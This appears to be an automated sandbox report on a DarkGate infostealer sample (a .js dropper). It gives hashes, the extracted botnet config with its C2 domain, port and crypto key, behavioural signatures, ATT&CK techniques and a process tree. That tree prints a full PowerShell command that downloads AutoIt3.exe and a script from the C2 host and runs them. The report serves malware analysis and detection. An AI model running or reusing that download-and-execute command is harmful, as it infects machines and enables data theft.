darkgate | c953d07e2917511b5d9111da517ae28c3f4f07e84c1cfde09e1e69bb60299b0e

General

Target

02112023_0238_gentle.js
Size

135KB
MD5

77ee5081c5c481378ed54009f53173c6
SHA1

d70867e9e78247eebd54f54516ac8a046368d3f2
SHA256

c953d07e2917511b5d9111da517ae28c3f4f07e84c1cfde09e1e69bb60299b0e
SHA512

697421ef3ccdd66e1c94a2c388da6ee68e9d501ee841d2eb53254b4784715475057d2b05740e760cb6bdcfead10174101db9e5569f3cb44db5525d5291cbb9b0
SSDEEP

1536:hZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0c:UT9U7hgaX6eerjqlI2IO6Mzqfpu

Score

10^/10

darkgate user_871236672 stealer

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

C2

http://shsukadadyuikmmonk.com

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
2351
check_disk
true
check_ram
true
check_xeon
true
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
WccksaEfoXLLtV
internal_mutex
txtMut
minimum_disk
50
minimum_ram
6001
ping_interval
4
rootkit
true
startup_persistence
true
username
user_871236672

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	316	powershell.exe
31	316	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3644	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
316	powershell.exe
316	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	316	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2344 wrote to memory of 316	2344	wscript.exe	89
PID 2344 wrote to memory of 316	2344	wscript.exe	89
PID 316 wrote to memory of 3644	316	powershell.exe	92
PID 316 wrote to memory of 3644	316	powershell.exe	92
PID 316 wrote to memory of 3644	316	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\02112023_0238_gentle.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:316
- - C:\tepp\AutoIt3.exe
    "C:\tepp\AutoIt3.exe" krxeiths.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:3644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v4fcxbb3.a4g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\tepp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

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C:\tepp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

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C:\tepp\krxeiths.au3

Filesize
495KB

MD5
1a145f64835ef788884984eaaabc41cf

SHA1
86adae24703e4cc02791f5473163d19af9ce5374

SHA256
e6cb5e76a2cc9b9b60f9f6cdde65478675d03684a1973b673e1663ded9195c4d

SHA512
97fe04c68eff006a9628d43d71c515d822a129f0930d581ee2d9a3fe5d1fcdde291871946a8df8233ee3614cf392c85a0fe371051cb06343b3e92368ee8354e3

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memory/316-15-0x000001E942BB0000-0x000001E942BC0000-memory.dmp

Filesize
64KB

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memory/316-14-0x00007FFE66E00000-0x00007FFE678C1000-memory.dmp

Filesize
10.8MB

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memory/316-0-0x000001E944D60000-0x000001E944D82000-memory.dmp

Filesize
136KB

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memory/316-12-0x000001E942BB0000-0x000001E942BC0000-memory.dmp

Filesize
64KB

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memory/316-11-0x000001E942BB0000-0x000001E942BC0000-memory.dmp

Filesize
64KB

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memory/316-28-0x00007FFE66E00000-0x00007FFE678C1000-memory.dmp

Filesize
10.8MB

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memory/316-10-0x00007FFE66E00000-0x00007FFE678C1000-memory.dmp

Filesize
10.8MB

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memory/3644-31-0x0000000001130000-0x0000000001530000-memory.dmp

Filesize
4.0MB

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memory/3644-32-0x0000000004340000-0x00000000044D5000-memory.dmp

Filesize
1.6MB

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memory/3644-33-0x0000000004340000-0x00000000044D5000-memory.dmp

Filesize
1.6MB

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Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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